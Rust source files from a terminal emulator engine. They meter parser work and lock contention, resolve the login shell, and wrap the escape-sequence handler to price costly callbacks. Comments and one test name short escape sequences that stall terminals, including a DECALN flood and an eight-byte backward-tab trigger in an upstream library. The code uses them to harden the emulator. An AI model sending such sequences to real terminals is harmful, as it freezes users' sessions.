spent = spent.saturating_add(counting.work());
}
let sync_after = self.parser.sync_bytes_count();
// Charge exactly the bytes the parser could see, by route:
//
// * the buffer shrank -> a synchronized update ended and released
// `sync_before` buffered bytes plus whatever of `bytes` followed it.
// Charging only `bytes` here is the "omitted flush accounting"
// mutation: it under-charges by the whole buffered frame.
// * the buffer grew -> these bytes were swallowed into the buffer
// and are not yet parser-visible. Charging them now is the "raw
// counting" mutation: it over-charges, and resets the parser in the
// middle of a legitimate frame, destroying content.
// * neither -> ordinary unsynchronized input.
let charged = if sync_after < sync_before {
let released = sync_before + bytes.len() - sync_after;
self.note_release(released);
released
} else if sync_after > sync_before {
// Buffered, not yet visible. Charged when it is released.
0
} else {
bytes.len()
};
self.charge(charged);
// F1: a synchronized update may not buffer without bound. One abort
// per breach; the released bytes are parser-visible and are charged.
if self.fences.sync_abort && self.parser.sync_bytes_count() >= SYNC_CAP {
let released = self.parser.sync_bytes_count();
// Counted too: aborting flushes the buffered frame through the
// handler, so these are units the lock hold paid for. Leaving them
// out would undercount exactly on the fenced path.
{
let mut counting =
Counting::new(handler, self.columns, self.lines, self.scrollback);
self.parser.stop_sync(&mut counting);
self.stats.completed_units =
self.stats.completed_units.saturating_add(counting.units());
self.stats.completed_work =
self.stats.completed_work.saturating_add(counting.work());
spent = spent.saturating_add(counting.work());
}
self.stats.sync_aborts += 1;
self.note_release(released);
self.charge(released);
}
// F2: rebuild the parser once the budget is spent. Unconditional --
// a fresh `Processor` is the only way to discard parser state that a
// hostile stream is holding open, and it must not depend on the
// parser agreeing that it is in a bad state.
if self.fences.osc_budget && self.since_reset >= OSC_BUDGET {
self.parser = Processor::new();
self.stats.osc_resets += 1;
self.since_reset = 0;
}
spent
}
fn charge(&mut self, bytes: usize) {
self.since_reset += bytes;
self.stats.charged_bytes += bytes as u64;
}
fn note_release(&mut self, bytes: usize) {
if bytes > self.stats.max_release {
self.stats.max_release = bytes;
}
}
}

View File

@@ -0,0 +1,305 @@
//! The lock the reader and the renderer contend for, and the meter on it.
//!
//! This lives in the engine crate rather than in the embedder because the
//! property it exists to prove is a property of the emulator *and* the lock
//! together: F1 bounds how many bytes one `feed` releases into the parser,
//! which bounds how long the reader can hold this mutex, which bounds how long
//! the renderer waits for it. Split the lock out to the Tauri layer and the
//! gate can only be written where no fixture runs.
//!
//! Measured, not assumed. Under a 180 MB/s flood the reader's own hold is
//! p50 1 us while the renderer's *acquire* is p50 4245 us -- four orders apart,
//! because 0.389% of calls carry 96.4% of the lock time. Holding time is the
//! wrong quantity; waiting time is the one a human feels. So the two planes are
//! metered separately: pooling them would let the reader's millions of fast
//! acquires dilute the renderer's tail into a false pass.
use std::sync::atomic::{AtomicBool, AtomicU32, AtomicU64, Ordering};
use std::time::Instant;
use alacritty_terminal::sync::FairMutex;
use parking_lot::MutexGuard;
use crate::damage::{self, Encoder, Frame};
use crate::Terminal;
/// Number of latency buckets. Bucket `i` covers `[2^(i-1), 2^i)` microseconds,
/// so bucket 31 tops out around 35 minutes -- unreachable in practice, which is
/// the point: nothing is silently clamped into the last bucket.
const BUCKETS: usize = 32;
fn bucket_of(micros: u64) -> usize {
(u64::BITS - micros.leading_zeros()) as usize
}
/// Upper bound of a bucket, in microseconds. Percentiles report this, so a
/// reported latency is never better than what was actually observed.
fn bucket_ceiling(bucket: usize) -> u64 {
if bucket == 0 {
0
} else {
(1u64 << bucket) - 1
}
}
/// Lock-acquisition latencies for one plane, recorded without taking a second
/// lock -- an instrument that contends is measuring itself.
#[derive(Debug)]
pub struct AcquireMeter {
acquisitions: AtomicU64,
max_micros: AtomicU64,
buckets: [AtomicU32; BUCKETS],
}
impl Default for AcquireMeter {
fn default() -> Self {
Self {
acquisitions: AtomicU64::new(0),
max_micros: AtomicU64::new(0),
buckets: std::array::from_fn(|_| AtomicU32::new(0)),
}
}
}
impl AcquireMeter {
fn record(&self, micros: u64) {
self.acquisitions.fetch_add(1, Ordering::Relaxed);
self.max_micros.fetch_max(micros, Ordering::Relaxed);
self.buckets[bucket_of(micros)].fetch_add(1, Ordering::Relaxed);
}
/// Read the counters. Cheap and non-blocking; safe to call from a gate
/// while the flood is still running.
pub fn snapshot(&self) -> AcquireStats {
AcquireStats {
acquisitions: self.acquisitions.load(Ordering::Relaxed),
max_micros: self.max_micros.load(Ordering::Relaxed),
buckets: std::array::from_fn(|i| self.buckets[i].load(Ordering::Relaxed)),
}
}
/// Clear the counters. Diagnostics are per-run.
pub fn reset(&self) {
self.acquisitions.store(0, Ordering::Relaxed);
self.max_micros.store(0, Ordering::Relaxed);
for bucket in &self.buckets {
bucket.store(0, Ordering::Relaxed);
}
}
}
/// A read of one plane's acquisition latencies.
///
/// `max_micros` is exact because the budget it answers to -- no acquire above
/// one frame at 60 Hz -- is a statement about a single worst event. The
/// distribution is bucketed by powers of two because the budget *it* answers to
/// has 80x of headroom (p95 measured at 49 us against 4 ms), and a factor-of-two
/// resolution against 80x of margin buys nothing for the memory it costs.
#[derive(Debug, Clone, Copy, PartialEq, Eq)]
pub struct AcquireStats {
pub acquisitions: u64,
pub max_micros: u64,
buckets: [u32; BUCKETS],
}
impl AcquireStats {
/// Latency at percentile `p` (0.0..=1.0), in microseconds, rounded up to
/// the enclosing bucket's ceiling.
pub fn percentile_micros(&self, p: f64) -> u64 {
if self.acquisitions == 0 {
return 0;
}
let target = (self.acquisitions as f64 * p).ceil() as u64;
let mut seen = 0u64;
for (bucket, count) in self.buckets.iter().enumerate() {
seen += *count as u64;
if seen >= target {
return bucket_ceiling(bucket);
}
}
self.max_micros
}
}
/// A [`Terminal`] shared between the PTY reader and the renderer.
pub struct SharedTerminal {
term: FairMutex<Terminal>,
reader: AcquireMeter,
renderer: AcquireMeter,
closing: AtomicBool,
}
impl SharedTerminal {
pub fn new(term: Terminal) -> Self {
Self {
term: FairMutex::new(term),
reader: AcquireMeter::default(),
renderer: AcquireMeter::default(),
closing: AtomicBool::new(false),
}
}
/// Acquisition latencies for the PTY-reader plane.
pub fn reader_acquire(&self) -> &AcquireMeter {
&self.reader
}
/// Acquisition latencies for the renderer plane. This is the one with a
/// budget attached.
pub fn renderer_acquire(&self) -> &AcquireMeter {
&self.renderer
}
/// Feed PTY output into the emulator. Reader plane.
///
/// Returns whether a tail remains: one acquisition parses one work
/// budget, then **drops the lock** so the renderer can have it. The
/// caller pumps [`SharedTerminal::drain`] until it returns false. Doing
/// the whole buffer under one acquisition is what an unbounded hold *is*,
/// so it is not offered here.
pub fn feed(&self, bytes: &[u8]) -> bool {
let mut term = self.acquire(&self.reader);
if self.closing.load(Ordering::Acquire) {
false
} else {
term.feed(bytes)
}
}
/// Parse more of the pending tail under a fresh acquisition. Reader
/// plane. Returns whether any remains.
pub fn drain(&self) -> bool {
let mut term = self.acquire(&self.reader);
if self.closing.load(Ordering::Acquire) {
false
} else {
term.drain()
}
}
/// Feed and pump to completion, re-acquiring between slices.
pub fn feed_fully(&self, bytes: &[u8]) {
let mut more = self.feed(bytes);
while more {
more = self.drain();
}
}
/// Atomically enter close mode and discard parser work. Subsequent PTY
/// bytes are raw-drained by the embedder and never reach callbacks.
pub fn begin_closing(&self) -> usize {
self.closing.store(true, Ordering::Release);
self.acquire(&self.reader).abandon_tail()
}
pub fn is_closing(&self) -> bool {
self.closing.load(Ordering::Acquire)
}
/// Sample damage and encode a frame. Renderer plane.
///
/// The lock covers the copy only; `encode` -- hashing, span grouping,
/// allocation -- runs after the guard drops, which is worth ~75x in hold
/// time. The `Encoder` is the caller's because its dedup state is per
/// consumer, and passing it in keeps the encode off this lock by
/// construction rather than by remembering to.
pub fn render(&self, encoder: &mut Encoder) -> Frame {
let raw = {
let mut term = self.acquire(&self.renderer);
damage::capture(&mut term)
};
encoder.encode(raw)
}
/// Copy the whole viewport for a subscriber that arrived mid-stream.
/// Renderer plane.
///
/// Attach, reattach, and the successor side of a resize all need the
/// screen as it stands, not the next thing to change on it. Crucially this
/// leaves damage alone, so taking a snapshot for a newcomer cannot steal
/// the incumbent renderer's pending rows -- see [`damage::capture_all`].
///
/// Costs a full grid copy under the lock, so call it on attach rather than
/// per frame.
pub fn snapshot(&self, encoder: &mut Encoder) -> Frame {
let raw = {
let mut term = self.acquire(&self.renderer);
damage::capture_all(&mut term)
};
encoder.encode(raw)
}
/// Move the viewport through scrollback. Renderer plane.
///
/// Positive moves into history; see [`crate::Terminal::scroll`]. Returns
/// whether it moved, so the caller can skip capture and publication for
/// the momentum tail that arrives after history has run out.
pub fn scroll(&self, lines: i32) -> bool {
self.acquire(&self.renderer).scroll(lines)
}
/// Return the viewport to the live edge. Renderer plane. Returns whether
/// it moved, so an unscrolled terminal costs one comparison per keystroke
/// and no repaint.
pub fn scroll_to_bottom(&self) -> bool {
self.acquire(&self.renderer).scroll_to_bottom()
}
/// Apply a coalesced resize. Renderer plane: this competes with the
/// renderer for the same lock and can hold it for milliseconds.
pub fn resize(&self, size: crate::Size) -> crate::Viewport {
self.acquire(&self.renderer).resize(size)
}
/// Take the lock for something the methods above don't cover (input,
/// reading stats). Metered on the renderer plane, since anything
/// that isn't the read loop competes with the renderer for the same lock.
pub fn lock(&self) -> MutexGuard<'_, Terminal> {
self.acquire(&self.renderer)
}
/// Modes the renderer/input boundary needs to report alongside frames.
pub fn input_modes(&self) -> (bool, bool) {
let term = self.acquire(&self.renderer);
let mode = term.term().mode();
(
mode.contains(alacritty_terminal::term::TermMode::BRACKETED_PASTE),
mode.contains(alacritty_terminal::term::TermMode::FOCUS_IN_OUT),
)
}
fn acquire(&self, meter: &AcquireMeter) -> MutexGuard<'_, Terminal> {
let started = Instant::now();
let guard = self.term.lock();
meter.record(started.elapsed().as_micros() as u64);
guard
}
}
#[cfg(test)]
mod tests {
use super::*;
use crate::{Fences, Size};
#[test]
fn closing_abandons_tail_and_permanently_refuses_parser_callbacks() {
let (terminal, _actions) = Terminal::new(Size::default(), Fences::ALL);
let shared = SharedTerminal::new(terminal);
let payload = b"\x1b#8".repeat(10_000);
assert!(shared.feed(&payload), "fixture must create parser tail");
let before = shared.lock().stats();
let abandoned = shared.begin_closing();
assert!(abandoned > 0, "close must abandon without draining first");
assert!(shared.is_closing());
assert!(!shared.feed(b"parser callback after close"));
assert!(!shared.drain());
let after = shared.lock().stats();
assert_eq!(after.completed_units, before.completed_units);
assert_eq!(
after.abandoned_bytes,
before.abandoned_bytes + abandoned as u64
);
}
}

View File

@@ -0,0 +1,138 @@
//! Login-shell resolution for spawned PTY children.
//!
//! Tyler asked for the user's shell of choice, so the resolution order is the
//! user's own: `$SHELL`, then the passwd entry, then `/bin/sh`. What matters
//! is the *validity* test applied at each step, and it is not "the path
//! exists".
//!
//! `portable-pty` gates both steps on `access(X_OK)` (`cmdbuilder.rs:545-553`
//! for `$SHELL`, `:43-71` for passwd). `access(X_OK)` answers "may I execute
//! this" for *any* file type, and a directory carries the execute bit to mean
//! "may I traverse it" — so `access("/tmp", X_OK)` returns 0. Verified by C
//! repro and end-to-end through a real PTY: with `SHELL=/tmp`,
//! `CommandBuilder::get_shell()` returns `"/tmp"`, `spawn_command` returns
//! `Ok`, and the child dies with exit code 1 after printing
//! `fatal runtime error: assertion failed: output.write(&bytes).is_ok()`.
//! The user gets a terminal that opens and instantly dies with a Rust runtime
//! panic, and every layer above reported success.
//!
//! So we require an **executable regular file**, following symlinks: `stat`
//! rather than `lstat` semantics, because `/bin/sh` is legitimately a symlink
//! on many systems. A directory or a non-executable file falls through to the
//! next candidate instead of becoming an unspawnable child.
use std::path::Path;
/// Last-resort shell. POSIX guarantees `/bin/sh`; if this is not executable
/// the machine has bigger problems than our terminal.
pub const FALLBACK_SHELL: &str = "/bin/sh";
/// Returns true if `path` is a regular file this process may execute.
///
/// The conjunction is load-bearing and neither half suffices:
///
/// - `access(X_OK)` alone accepts a **directory** — the execute bit means
/// *traverse* there, so `access("/tmp", X_OK) == 0`. That is the bug
/// inherited from `portable-pty` (`cmdbuilder.rs:545-553`): with
/// `SHELL=/tmp` the child aborts with a Rust runtime panic while every
/// layer reports success.
/// - Raw `mode & 0o111` alone accepts a file the caller **cannot** execute.
/// The bits say *some* class has execute permission, not the applicable
/// one, and they do not evaluate ACLs. Verified with a self-owned regular
/// file at mode `0o010`: `mode & 0o111` is true, `access(X_OK)` is -1, and
/// running it gives `Permission denied`.
///
/// So: regular-file metadata (following symlinks, because `/bin/sh -> dash`
/// is legitimate) **and** effective executability via `access(X_OK)`.
#[cfg(unix)]
pub fn is_executable_file(path: &Path) -> bool {
let Ok(meta) = std::fs::metadata(path) else {
return false;
};
meta.is_file() && can_execute(path)
}
/// `access(path, X_OK)`: does the *effective* user have execute permission,
/// accounting for the applicable permission class and ACLs?
#[cfg(unix)]
fn can_execute(path: &Path) -> bool {
use std::os::unix::ffi::OsStrExt;
let Ok(c_path) = std::ffi::CString::new(path.as_os_str().as_bytes()) else {
return false; // interior NUL: not a path we can ask about
};
// SAFETY: `c_path` is a valid NUL-terminated C string for the duration of
// the call, and `access` only reads it.
unsafe { libc::access(c_path.as_ptr(), libc::X_OK) == 0 }
}
/// Resolves the shell to spawn: `$SHELL`, then the passwd entry, then
/// [`FALLBACK_SHELL`]. Each candidate must pass [`is_executable_file`].
///
/// `shell_env` is the caller's view of `$SHELL` so the resolution order is
/// testable without mutating process-global state; production passes
/// `std::env::var_os("SHELL")`.
#[cfg(unix)]
pub fn resolve_shell(shell_env: Option<&str>) -> String {
// One validation path for every candidate, deliberately. Validating each
// branch separately leaves the passwd branch's check untestable on any
// machine whose passwd shell happens to be valid — a mutant that deletes
// it survives because nothing can distinguish it. Sharing `validated`
// means the `$SHELL` arm's coverage is the passwd arm's coverage.
let candidates = [shell_env.map(str::to_owned), passwd_shell()];
candidates
.into_iter()
.flatten()
.find(|candidate| validated(candidate))
.unwrap_or_else(|| FALLBACK_SHELL.to_owned())
}
/// The single validity test every shell candidate must pass.
#[cfg(unix)]
fn validated(candidate: &str) -> bool {
is_executable_file(Path::new(candidate))
}
/// The current user's login shell from the passwd database, unvalidated:
/// `resolve_shell` applies the shared [`validated`] check to it.
///
/// This is the step that matters for a Finder- or launchd-started app, which
/// can have no `$SHELL` at all: without it we would hand a zsh user `/bin/sh`
/// and call it their shell of choice.
#[cfg(unix)]
pub(crate) fn passwd_shell() -> Option<String> {
// SAFETY: `getpwuid` returns a pointer to a static passwd struct owned by
// libc, valid until the next passwd-database call. We copy the string out
// before returning and make no other libc calls in between.
let shell = unsafe {
let ent = libc::getpwuid(libc::getuid());
if ent.is_null() {
return None;
}
let pw_shell = (*ent).pw_shell;
if pw_shell.is_null() {
return None;
}
std::ffi::CStr::from_ptr(pw_shell).to_str().ok()?.to_owned()
};
Some(shell)
}
/// The login-shell `argv[0]` convention: the shell's basename prefixed with
/// `-`. This is what tells any shell — zsh, bash, fish, tcsh, nu — to run as
/// a login shell, without sniffing its name or guessing its flag grammar.
///
/// `portable-pty` applies this itself for a default program
/// (`cmdbuilder.rs:510-517`); we compute it here so the contract is asserted
/// against a value we own rather than against the dependency's behaviour.
pub fn login_argv0(shell: &str) -> String {
let basename = shell.rsplit('/').next().unwrap_or(shell);
format!("-{basename}")
}
/// Resolve the command shell on Windows from `ComSpec`, falling back to cmd.
#[cfg(windows)]
pub fn resolve_shell(shell_env: Option<&str>) -> String {
shell_env.unwrap_or("cmd.exe").to_owned()
}

View File

@@ -0,0 +1,382 @@
//! Counting what the parser *does*, not how many bytes it read.
//!
//! Both fences in [`crate::fences`] meter bytes. That is the right denominator
//! for memory -- a buffer's size is bytes -- and the wrong one for time. `ESC[m`
//! and `ESC#8` are four bytes each; the first sets an attribute and the second
//! rewrites every cell of the grid. Metering the reader's lock hold in bytes
//! therefore prices those identically, and a stream of the second one holds the
//! lock for as long as it likes without ever tripping a byte budget.
//!
//! Measured: a DECALN flood at 200x50 reaches p95 65535us against a 4000us
//! budget with **zero** F1 aborts -- the fence never fires, because nothing is
//! buffered. Unfenced, one acquisition was observed at 22.1s, about 1300
//! dropped frames in a single lock hold.
//!
//! So this module adds a third quantity: the number of *completed parser
//! units* -- one per `Handler` callback the parser dispatches, which is one
//! per fully-parsed escape sequence or printed character. It is a proxy for
//! work rather than a measure of it, but it has the property the byte count
//! lacks: it advances once per thing the emulator actually did.
//!
//! ## Why a wrapper, and not vte's own stopping point
//!
//! `Parser::advance_until_terminated` already supports stopping mid-buffer,
//! but termination is driven by `Perform::terminated()`, and in the ansi layer
//! the implementor is `Performer`, which is private (`vte-0.15.0/src/ansi.rs`:
//! `struct Performer` at 425, `terminated` at 1825, set only for BSU handling).
//! An embedder cannot reach it, so the stopping point has to be built outside
//! the parser rather than inside it.
//!
//! ## What this deliberately does not do
//!
//! It does not skip or veto expensive callbacks once a budget is spent. That
//! would bound the lock hold perfectly and silently corrupt the screen, which
//! is a worse failure than the one being fixed: a slow terminal recovers, a
//! wrong one does not. Every unit is delegated; the count only decides where
//! the *caller* may cut the input.
use alacritty_terminal::event::EventListener;
use alacritty_terminal::term::Term;
use alacritty_terminal::vte::ansi::cursor_icon::CursorIcon;
use alacritty_terminal::vte::ansi::{
Attr, CharsetIndex, ClearMode, CursorShape, CursorStyle, Handler, Hyperlink, KeyboardModes,
KeyboardModesApplyBehavior, LineClearMode, Mode, ModifyOtherKeys, PrivateMode, Rgb,
ScpCharPath, ScpUpdateMode, StandardCharset, TabulationClearMode,
};
/// Read access to the cursor column of whatever the wrapper is driving.
///
/// Exists for exactly one callback. CBT's cost is bounded by *cursor
/// movement*, and the only way to charge it honestly -- or to stop it early
/// -- is to watch the cursor between steps. Everything else in this module is
/// priced from the grid alone, which is why this is a separate trait and a
/// separate bound rather than a field on [`Counting`].
///
/// Implemented over the public path in `alacritty_terminal-0.26.0`:
/// `Term::grid` (term/mod.rs:645) -> `Grid::cursor` (grid/mod.rs:113) ->
/// `Cursor::point` (grid/mod.rs:36). No private field, no fork.
pub trait CursorColumn {
fn cursor_column(&self) -> usize;
}
impl<L: EventListener> CursorColumn for Term<L> {
#[inline]
fn cursor_column(&self) -> usize {
self.grid().cursor.point.column.0
}
}
/// Wraps a [`Handler`], forwarding every callback and counting them.
///
/// Every one of the trait's 71 methods has an empty default body upstream, so
/// a method left undelegated here would compile cleanly and silently discard
/// that escape sequence. The delegations are therefore generated by a macro
/// over the full method list rather than written out: the failure mode of
/// hand-copying is invisible.
pub struct Counting<'a, H: Handler + CursorColumn> {
inner: &'a mut H,
/// Callbacks dispatched, one per unit regardless of cost. This is the
/// fixture-facing number: it says what the parser *did*, and it is kept
/// separate from `work` because collapsing them is precisely the mistake
/// that made the first version of this seam useless.
units: u64,
/// Cost-weighted work, in cell-equivalents. This is the scheduling number.
work: u64,
columns: u64,
lines: u64,
/// Configured scrollback depth, not current fill. See `reset_state`.
scrollback: u64,
}
impl<'a, H: Handler + CursorColumn> Counting<'a, H> {
/// `columns` and `lines` are the grid the handler is about to act on, and
/// they are the weights' only input: an O(cells) callback is charged
/// `columns * lines` because that is what it touches.
pub fn new(inner: &'a mut H, columns: usize, lines: usize, scrollback: usize) -> Self {
Self {
inner,
units: 0,
work: 0,
columns: columns as u64,
lines: lines as u64,
scrollback: scrollback as u64,
}
}
/// Callbacks dispatched since this wrapper was created.
pub fn units(&self) -> u64 {
self.units
}
/// Cost-weighted work dispatched, in cell-equivalents.
pub fn work(&self) -> u64 {
self.work
}
/// Cells in the grid. Saturating: `Size` is unclamped `usize`, so this
/// product is reachable, and a wrapped weight prices the most expensive
/// callbacks as the cheapest.
#[inline]
fn cells(&self) -> u64 {
self.columns.saturating_mul(self.lines)
}
/// A parameter charged at its clamped value.
///
/// Upstream clamps most counts to the grid before acting on them, so the
/// bound is the clamp, not the parameter: `ESC[65535X` on an 80-column
/// grid touches 80 cells. Charging the raw parameter would let a
/// four-byte escape spend the whole slice budget without doing the work,
/// which stalls the parser as surely as under-charging lets it run away.
#[inline]
fn clamp(&self, n: usize, bound: u64) -> u64 {
(n as u64).min(bound).max(1)
}
#[inline]
fn charge(&mut self, weight: u64) {
self.units = self.units.saturating_add(1);
self.work = self.work.saturating_add(weight);
}
}
/// Generate a delegating, counting implementation for every `Handler` method.
///
/// Two groups, because the methods differ in *cost*, not in kind. `plain`
/// methods are charged one unit. `weighted` methods are charged what they
/// touch, using the expressions in the table below -- these are the ones a
/// hostile stream can use to buy grid-sized work with a four-byte escape.
///
/// The count is incremented *before* delegating, so a callback that panics
/// still leaves evidence it was attempted.
macro_rules! counting_handler {
(
plain { $($pname:ident($($parg:ident: $pty:ty),* $(,)?);)* }
weighted { $($wname:ident($($warg:ident: $wty:ty),* $(,)?) => |$this:ident| $weight:expr;)* }
) => {
impl<H: Handler + CursorColumn> Handler for Counting<'_, H> {
$(
#[inline]
fn $pname(&mut self $(, $parg: $pty)*) {
self.charge(1);
self.inner.$pname($($parg),*);
}
)*
$(
#[inline]
fn $wname(&mut self $(, $warg: $wty)*) {
let weight = { let $this = &*self; $weight };
self.charge(weight);
self.inner.$wname($($warg),*);
}
)*
/// The one callback this wrapper does not delegate verbatim.
///
/// CBT (`ESC[NZ`) is upstream's only unbounded atom. With no
/// tabstop below the cursor, `move_backward_tabs`
/// (`term/mod.rs:1580`) assigns `col` *inside* the `if
/// self.tabs[i]` test, so the cursor never moves, the `col == 0`
/// break is unreachable, and all N iterations rescan the row.
/// `ESC[3g ESC[65535Z` is eight bytes and 82 ms at 1600 columns.
/// Its twin `move_forward_tabs` (1605) assigns *outside* the
/// test, always advances, and is fine: same file, same loop
/// skeleton, and the entire difference is one assignment's
/// placement relative to one branch.
///
/// The fix is a termination condition, not a smaller number.
/// Each step either moves the cursor strictly left or is a fixed
/// point, and **a fixed point is permanent** -- the scan depends
/// only on the cursor, which did not move. So the loop can stop
/// at the first one. The leftward distances telescope to at most
/// the starting column, plus one final failed scan, so the whole
/// callback is O(columns) and the delegated-call count is at most
/// `columns - 1`.
///
/// Equivalence is not argued, it is checked: every tabstop subset
/// of a 12-column grid x 4 start columns x 7 counts (114_688
/// cases) lands on the same column as the naive loop, on a real
/// `Term`. See `examples/probe_cbt_equiv.rs`. Deleting the
/// fixed-point break leaves the *landing column correct* and only
/// the cost wrong, so the fixture that guards this must assert
/// units, never the cursor.
#[inline]
fn move_backward_tabs(&mut self, count: u16) {
// One unit for the escape, as every other callback gets.
self.charge(1);
for _ in 0..count {
let before = self.inner.cursor_column();
// No `before == 0` guard: column 0 is already a fixed
// point (upstream's own `col == 0` break leaves the
// cursor alone), so the check below covers it and a
// second one would be unreachable-by-construction code
// that no test could distinguish.
self.inner.move_backward_tabs(1);
let after = self.inner.cursor_column();
// Charge the cells this step scanned. A step that finds a
// stop scans the distance it moved; a step that finds
// none scans the whole prefix and moves nothing --
// charging that one zero would leave a loop that spins
// without ever paying, which is precisely the mutant this
// pricing has to make visible.
let scanned = if after == before { before } else { before - after };
self.work = self.work.saturating_add(scanned as u64);
if after == before {
// A fixed point is permanent: the scan depends only
// on the cursor, and the cursor did not move.
break;
}
}
}
}
};
}
counting_handler! {
plain {
set_title(a0: Option<String>);
set_cursor_style(a0: Option<CursorStyle>);
set_cursor_shape(shape: CursorShape);
input(c: char);
goto(line: i32, col: usize);
goto_line(line: i32);
goto_col(col: usize);
move_up(a0: usize);
move_down(a0: usize);
identify_terminal(intermediate: Option<char>);
device_status(a0: usize);
move_forward(col: usize);
move_backward(col: usize);
move_down_and_cr(row: usize);
move_up_and_cr(row: usize);
backspace();
carriage_return();
linefeed();
bell();
substitute();
newline();
set_horizontal_tabstop();
save_cursor_position();
restore_cursor_position();
clear_tabs(mode: TabulationClearMode);
set_tabs(interval: u16);
reverse_index();
terminal_attribute(attr: Attr);
set_mode(mode: Mode);
unset_mode(mode: Mode);
report_mode(mode: Mode);
set_private_mode(mode: PrivateMode);
unset_private_mode(mode: PrivateMode);
report_private_mode(mode: PrivateMode);
set_scrolling_region(top: usize, bottom: Option<usize>);
set_keypad_application_mode();
unset_keypad_application_mode();
set_active_charset(a0: CharsetIndex);
configure_charset(a0: CharsetIndex, a1: StandardCharset);
set_color(a0: usize, a1: Rgb);
dynamic_color_sequence(a0: String, a1: usize, a2: &str);
reset_color(a0: usize);
clipboard_store(a0: u8, a1: &[u8]);
clipboard_load(a0: u8, a1: &str);
push_title();
pop_title();
text_area_size_pixels();
text_area_size_chars();
set_hyperlink(a0: Option<Hyperlink>);
set_mouse_cursor_icon(a0: CursorIcon);
report_keyboard_mode();
push_keyboard_mode(mode: KeyboardModes);
pop_keyboard_modes(to_pop: u16);
set_keyboard_mode(mode: KeyboardModes, behavior: KeyboardModesApplyBehavior);
set_modify_other_keys(mode: ModifyOtherKeys);
report_modify_other_keys();
set_scp(char_path: ScpCharPath, update_mode: ScpUpdateMode);
}
weighted {
// Every weight below is an upper bound on the cells the callback can
// touch, **read from `alacritty_terminal-0.26.0/src/term/mod.rs`** and
// then checked against measurement -- never fitted to a curve. The
// direction of the error is the whole point: an over-charge slices
// early and costs throughput, an under-charge is an attack surface, so
// where source and measurement disagree the source bound wins and the
// slack is recorded here rather than tuned away.
//
// `min(N, ...)` appears wherever upstream clamps the parameter; a raw
// `N` would let `ESC[65535X` charge 65535 on an 80-column grid and
// stall the parser on a cheap escape.
// O(min(N, columns)): `end = min(start + count, columns)`, loop
// `row[start..end]` (1519). Knee measured exactly at N == columns.
erase_chars(count: usize) => |this| this.clamp(count, this.columns);
// O(columns) for *every* N, worst at N=1: the swap loop runs
// `columns - end` times where `end = min(start + N, columns - 1)`
// (1538), so cost *falls* as N rises. Charging by N would be backwards
// and would under-charge the worst case by the full terminal width --
// measured 3422ns at N=1/1600 columns against 863ns at N=65535.
delete_chars(a0: usize) => |this| this.columns;
// O(columns) for every N, worst at N=1. Same shape as `delete_chars`:
// `num_cells = columns - (column + count)` (1187).
insert_blank(a0: usize) => |this| this.columns;
// O(columns): scans to the next tabstop per count, and always advances
// (`col` is assigned unconditionally at 1592), so the whole loop is
// bounded by one traversal of the row. This is the sibling that CBT
// should have been, one asymmetric line apart in the same file.
put_tab(count: u16) => |this| this.columns;
move_forward_tabs(count: u16) => |this| this.columns;
// NOTE: `move_backward_tabs` is NOT in this table. It is the one
// callback whose argument is rewritten, so it is written out by hand
// below the macro's generated methods -- a weight can price an atom but
// cannot shrink one.
// O(min(N, lines) x columns) in steady state: the row rotation is O(1)
// on the ring buffer, but `positions` rows are `reset()`, and a row
// reset is O(columns).
//
// **Known overshoot, measured and frequency-bounded.** While scrollback
// is still growing, `Grid::increase_scroll_limit` -> `Storage::initialize`
// reallocates in blocks of `MAX_CACHE_SIZE` = 1000 rows and `rezero`s
// the ring (`grid/storage.rs`). That is not chargeable from here -- the
// weight function cannot see history depth -- and it is real: at 1600
// columns the spikes land at call 0, 1000, 2000, 3000 of a 4000-call
// scroll, ~4 ms each, against a 125 ns median. It is bounded in
// frequency (once per 1000 new history rows, and never once history
// saturates: with scrollback=100 only call 0 spikes) and it is upstream
// allocation rather than anything a stream can amplify, so it is
// recorded here instead of being priced into every scroll -- charging
// 1000x on 999 calls out of 1000 to cover the thousandth would make
// ordinary scrolling the slow path.
scroll_up(n: usize) => |this| this.clamp(n, this.lines).saturating_mul(this.columns);
delete_lines(n: usize) => |this| this.clamp(n, this.lines).saturating_mul(this.columns);
scroll_down(n: usize) => |this| this.clamp(n, this.lines).saturating_mul(this.columns);
insert_blank_lines(n: usize) => |this| this.clamp(n, this.lines).saturating_mul(this.columns);
// O(columns): one row, `damage_line(line, 0, columns - 1)`.
clear_line(mode: LineClearMode) => |this| this.columns;
// O(cells): 18.7us at 200x50, doubling on both axes.
clear_screen(mode: ClearMode) => |this| this.cells();
// O(cells): rewrites every cell.
decaln() => |this| this.cells();
// Both grids, plus the scrollback the primary owns.
//
// `reset_state` (1835) resets the primary *and* the alternate, and each
// `Grid::reset` runs `clear_history` -> `shrink_lines` -> `truncate` +
// `rezero`, which walks the raw buffer. So the cost carries a history
// axis that `cells` alone cannot see: measured 0.5 us empty against
// 1.68 ms with 10k rows filled at 400x100, a 42x per-cell miss, with
// the knee exactly at `screen_lines + MAX_CACHE_SIZE` where
// `shrink_lines` starts calling `truncate`.
//
// Priced on **configured** depth rather than current fill, which is the
// conservative choice and the only correct one: `history_size()` reads
// the *active* grid, so a filled primary followed by `ESC[?1049h`
// reports an empty history while RIS still pays for the inactive
// primary's rows -- underpriced 41x on exactly the arm an attacker
// would pick. The inactive grid is private, so there is no stateless
// way to observe the real fill; the configured depth bounds both.
//
// This is the one weight that can exceed [`crate::fences::WORK_BUDGET`]
// on its own -- 16x at the default 10k scrollback -- which is correct:
// it is a genuinely oversized uninterruptible atom, and a budget that
// hid that would be lying about what one drain can cost.
reset_state() => |this| this.cells().saturating_mul(2)
.saturating_add(this.scrollback.saturating_mul(this.columns));
}
}

View File

@@ -0,0 +1,344 @@
//! The cluster-positioning contract: what the renderer may rely on to place
//! text at the right column without consulting Unicode tables.
//!
//! The consumer's rule reads two numbers off each span and does arithmetic:
//! `cluster_count == 1` means the whole text is one cluster at `column`,
//! otherwise cluster `i` is the i-th `char` at `column + i * width`.
//!
//! These fixtures exist because that rule is not self-evidently satisfiable --
//! the two cases below require *opposite* text-splitting rules, so no encoding
//! that ships a concatenated string and a start column can be correct:
//!
//! * a regional-indicator flag is two ordinary one-column cells, so its two
//! codepoints occupy two columns and must split per codepoint;
//! * a keycap is one cell holding three codepoints, so it occupies one column
//! and must split per grapheme.
//!
//! Both are handled here by construction rather than by rule: uniform `width`
//! within a span, and a span of its own for any cluster carrying zerowidth
//! marks.
use buzz_terminal::damage::{Encoder, Span};
use buzz_terminal::fences::Fences;
use buzz_terminal::{Action, SharedTerminal, Size, Terminal};
use std::sync::mpsc::Receiver;
